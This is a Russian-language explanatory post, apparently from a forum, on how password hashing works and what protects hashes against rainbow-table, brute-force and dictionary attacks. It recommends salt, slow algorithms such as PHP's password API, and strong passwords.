Первое, что надо понять: принцип защиты хэшированием - это принцип "спрятать у всех на виду". Предполагается, что и сам хэш, и все его элементы (кроме пароля, разумеется), заведомо известны атакующему. Но это ему не поможет. Это очень важно. Следует понимать, что задача хэширования - не спрятать результат работы хэширующей функции, а наоборот - сделать безопасным даже в том случае, если хэш будет скомпрометирован.

Следующее, что надо понять - хэширование паролей служит, в первую очередь, не для защиты приложения, а для защиты самих паролей, на случай, если приложение будет взломано. Поэтому полагаться на любые механизмы самого приложения для защиты пароля противоречит самому принципу хеширования. Хэш должен быть самодостаточен - имено ради этого он и изобретён.

Далее, надо себе представлять, в чём особенности хэширования именно паролей. Основная проблема паролей состоит в том, что они сравнительно короткие. Если при хэшировании довольно длинного текста можно [до определённой степени] быть уверенным, что никто и никогда не подберёт исходный текст по имеющемуся хэшу, то в случае с паролем такой вариант в принципе возможен. А при определённых условиях - и весьма вероятен.

Каким типам атак может быть подвержен хэш пароля?

1. Поиск хэша по "радужным таблицам" (rainbow tables): огромным базам данных, где собираются заранее посчитанные хэши для любых возможных строк.
2. Метод грубой силы (bruteforce): перебирать все комбинации символов и прменять к ним хэширующую функцию до тех пор, пока она не вернёт искомый хэш.
3. Поиск по словарю. Похож на брутфорс, но перебор не всех возможных значений, а всего нескольких тысяч самых популярных паролей, типа "123", "password" и пр.

Для защиты от этих трех типов атак требуются разные механизмы. Это:

1. Для защиты от поиска про радужным таблицам была придумана соль (salt): строка из случайных символов, добавляемая к паролю перед вычислением хэша. Таким образом мы удлиняем пароль до такого состояния, что никакая радужная таблица не сможет вместить всех вариантов.
Недостаток соли состоит в том, что она должна храниться вместе с паролем в открытом виде. И таким образом делает пароль уязвимым для двух других типов атак. Но следует всегда отдавать себе отчёт в том, что это так и задумано - соль предназначена для того, чтобы быть скомпрометированной вместе с хэшем. И защита строится исходя из того факта, что соль заведомо известна атакующему.

2. Для защиты от метода грубой силы служит сам алгоритм и сложность пароля. В последнее время к разработчикам пришло понимание того факта, что скорость алгоритма - не достоинство, а недостаток, ускоряющий перебор. Поэтому алгоритм должен быть настолько сложным и медленно вычисляющимся, чтобы сделать перебор бессмысленным (при этом однократное вычисление при авторизации пользователя, даже если займет 0.01 секунды, то никак не скажется на удобстве пользователя). Так же очевидным требованием к алгоритму является его криптостойкость.

3. Перебор по словарю (а так же в эту категорию можно записать брутфорс для относительно коротких паролей, для подбора которых понадобится перебор сравнительно небольшого количества вариантов) - самая неприятная атака. Именно из-за неё вас мучают некоторые сайты, привередничая в выборе пароля "слишком легкий", "слишком повторяющийся" и пр. Но делают они это для вашей пользы. Сложный пароль нужен для того, чтобы его нельзя было подобрать по словарю, и чтобы брутфорс по хэшу занял неприемлемо долго время. (Кстати, не стоит обольщаться, используя якобы стойкий пароль вида gfhjkm - слово "пароль" в латинской раскладке - хакер тоже не дурак, и обязательно попробует слова из словаря в в другой раскладке)

Соблюдая все три правила, мы можем быть уверены в том, что даже при утечке базы паролей, или при взломе приложения или даже при краже компьютера пароли будут в безопасности. Следует понимать, что пренебрежение любым из перечисленных трех правил сделает пароли уязвимыми в случае утечки.

Однако по третьему пункту возникает вполне законное возражение - что среднему пользователю сложно запомнить случайный пароль. И тут уже решение падает на плечи автора системы - либо разрешить нестойкие пароли с риском их утери, либо скрепя сердце разрешать только сложные. Однако следует отдавать себе отчет в том, что любые варианты с шифрованием паролей, раздельным хранением соли и пр., в оправдание нарушения вышеприведённых принципов - суть паллиатив.

Перейдём теперь к конкретике.

1. Соль. Самый простой пункт: генерируется автоматически алгоритмом из п.2
2. Алгоритм. http://www.php.net/manual/ru/book.password.php . Если у вас ископаемая версия РНР - там же есть ссылка на реализацию на чистом РНР.
3. Пароль. В настоящее время можно считать стойким пароль из 12 символов, включающих цифры и буквы разного регистра или кодовую фразу, состоящую из 4-5 не слишком употребительных слов.




Top